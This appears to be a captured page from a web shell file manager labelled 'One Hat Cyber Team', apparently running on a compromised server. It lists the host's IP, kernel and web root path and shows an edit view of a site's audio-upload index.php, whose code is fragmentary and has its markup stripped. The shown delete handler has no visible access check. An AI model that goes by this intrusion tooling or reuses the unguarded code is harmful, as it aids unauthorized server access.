⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.124
Server IP:
50.28.103.30
Server:
Linux host.jcukjv-lwsites.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
Server Software:
nginx/1.28.0
PHP Version:
8.3.12
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
www
/
wwwroot
/
english.electronharmony.com
/
Edit File: index.php
prepare("INSERT INTO audio_files (filename, filepath, description) VALUES (?, ?, ?)"); $stmt->bind_param("sss", $fileName, $filePath, $description); $stmt->execute(); header("Location: index.php?upload_success=1"); exit(); } else { echo "
文件上传失败!
"; } } else { echo "
仅支持 MP3、WAV、OGG 格式!
"; } } // 处理删除 if (isset($_GET['delete'])) { $id = intval($_GET['delete']); $stmt = $conn->prepare("SELECT filepath FROM audio_files WHERE id = ?"); $stmt->bind_param("i", $id); $stmt->execute(); $stmt->bind_result($filePath); if ($stmt->fetch()) { unlink($filePath); // 删除文件 } $stmt->close(); $stmt = $conn->prepare("DELETE FROM audio_files WHERE id = ?"); $stmt->bind_param("i", $id); $stmt->execute(); header("Location: index.php?delete_success=1"); exit(); } // 分页逻辑 $limit = 20; // 每页 20 条数据 $page = isset($_GET['page']) ? max(1, intval($_GET['page'])) : 1; $offset = ($page - 1) * $limit; // 获取音频文件数据 $totalResult = $conn->query("SELECT COUNT(*) AS total FROM audio_files"); $totalRows = $totalResult->fetch_assoc()['total']; $totalPages = ceil($totalRows / $limit); $result = $conn->query("SELECT * FROM audio_files ORDER BY uploaded_at DESC LIMIT $limit OFFSET $offset"); ?>
音频上传系统
上传音频文件
选择音频文件 (MP3, WAV, OGG)
音频描述
上传
已上传音频
fetch_assoc()) { ?>
单曲循环
您的浏览器不支持音频播放
删除
1) { ?>
上一页
下一页
Simpan